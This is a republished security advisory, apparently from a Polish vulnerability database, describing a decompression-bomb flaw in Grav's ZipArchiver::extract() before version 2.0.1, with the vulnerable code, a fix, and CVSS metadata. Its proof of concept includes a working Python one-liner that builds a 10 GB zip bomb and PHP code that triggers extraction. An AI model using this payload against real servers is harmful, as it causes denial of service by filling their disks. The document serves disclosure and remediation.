Średnia

Grav: Decompression Bomb via ZipArchiver - Missing Extraction Limits

  • Ujawniono: 02.09.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

ZipArchiver::extract() lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.


Details

Vulnerable code - system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58:

php
public function extract($destination, ?callable $status = null)
{
    $zip = new ZipArchive();
    $archive = $zip->open($this->archive_file);

    if ($archive === true) {
        Folder::create($destination);

        // Only guards against Zip Slip (path traversal)
        for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
            $name = $zip->getNameIndex($i);
            if ($name !== false && !$this->isSafeEntryPath($name)) {
                $zip->close();
                throw new RuntimeException(...);
            }
        }

        // Extracts EVERYTHING — no size, count, or depth limit
        if (!$zip->extractTo($destination)) { ... }

        $zip->close();
        return $this;
    }
}

What's missing vs Installer::unZip():

Protection Installer::unZip() ZipArchiver::extract()
Zip Slip guard ✅ ✅
Max uncompressed size ✅ (1 GiB) ❌
Max file count ✅ (50000) ❌
Max nesting depth ✅ (48) ❌
Pre-extraction validation ✅ All entries validated first ❌ Extracts immediately

The fix applied to Installer (GHSA-2vcx, Installer.php:178-269):

php
// GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk.
$limits = $this->archiveLimits();
$size = $count = $depth = 0;

for ($i = 0; $i < $numFiles; $i++) {
    $entryName = $zip->getNameIndex($i);
    // Check size, count, and depth BEFORE extracting anything
    if ($limits['maxSize'] > 0) { $size += $entry['size']; }
    if ($limits['maxDepth'] > 0) { ... }
    if ($limits['maxFiles'] > 0) { $count++; }
    // Reject if any limit exceeded
}
// Only now: $zip->extractTo($destination);

None of this validation exists in ZipArchiver::extract().

Reachability: ZipArchiver::extract() is a public method on a concrete class, accessible via the Archiver::create('zip') factory. While no first-party Grav code currently calls extract() on a ZipArchiver instance, third-party plugins and custom code that use the Archiver abstraction for ZIP restoration will walk directly into this unprotected path.


Proof of Concept

Step 1 - Create a zip bomb

bash
# Create a 10 GB zip bomb (42 kB compressed)
python3 -c "
import zipfile, os
z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIP_DEFLATED)
zeros = b'\x00' * (1024 * 1024 * 1024)  # 1 GB of zeros
for i in range(10):
    z.writestr(f'file_{i}.txt', zeros)
z.close()
"
ls -lh /tmp/zipbomb.zip
# Output: 42K /tmp/zipbomb.zip  →  expands to 10 GB

Step 2 - Extract via ZipArchiver

php
$archiver = Archiver::create('zip');
$archiver->setArchive('/tmp/zipbomb.zip');
$archiver->extract('/tmp/extracted');  // ← no limits, fills disk

The server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).


Impact

Any code path that extracts a user-supplied ZIP archive through ZipArchiver::extract() will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.


Remediation

Apply the same archiveLimits() validation from Installer::unZip() to ZipArchiver::extract():

php
public function extract($destination, ?callable $status = null)
{
    $zip = new ZipArchive();
    $archive = $zip->open($this->archive_file);

    if ($archive === true) {
        Folder::create($destination);

        // Apply the same archive limits as Installer::unZip()
        $limits = $this->archiveLimits();
        $totalSize = 0;
        $totalFiles = 0;

        for ($i = 0, $count = $zip->count(); $i < $count; $i++) {
            $name = $zip->getNameIndex($i);
            if ($name === false) continue;

            // Zip Slip guard (existing)
            if (!$this->isSafeEntryPath($name)) {
                $zip->close();
                throw new RuntimeException(...);
            }

            // Decompression bomb guards (NEW)
            $stat = $zip->statIndex($i);
            $totalSize += $stat['size'] ?? 0;
            $totalFiles++;

            $depth = count(explode('/', trim($name, '/')));
            if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) {
                $zip->close();
                throw new RuntimeException('Archive exceeds max nesting depth');
            }
        }

        if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) {
            $zip->close();
            throw new RuntimeException('Archive exceeds max uncompressed size');
        }
        if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) {
            $zip->close();
            throw new RuntimeException('Archive exceeds max file count');
        }

        if (!$zip->extractTo($destination)) { ... }
        $zip->close();
        return $this;
    }
}

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer getgrav/grav < 2.0.1 2.0.1

Odnośniki

Ocena CVSS 6.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Słabość (CWE)
CWE-409
Platforma
Composer
Paczka
getgrav/grav
Ujawniono
02.09.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-928x-9mpw-8h56 - CC BY 4.0

Historia podatności: getgrav/grav

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (99) w archiwum
Wszystkich wpisów
99
Pierwsza → ostatnia
11.2019 09.2026
Bez poprawki
6
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 7
  • Wysoka 47
  • Średnia 41
  • Niska 4

Ujawnienia w latach

  1. 2019: 1
  2. 2020: 1
  3. 2021: 4
  4. 2022: 10
  5. 2023: 5
  6. 2024: 8
  7. 2025: 23
  8. 2026: 47
Istotność:
  1. Wysoka · 8.8 CVE-2026-72819 < 2.0.13 2.0.13
  2. Grav: Decompression Bomb via ZipArchiver - Missing Extraction Limits ten wpis
    Średnia · 6.5 CVE-2026-61455 < 2.0.1 2.0.1
  3. Wysoka CVE-2026-53653 >= 2.0.0-beta.1, < 2.0.0-rc.8, < 1.7.53 2.0.0-rc.8, 1.7.53
Pokaż więcej (20) Widać 20 z 55

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.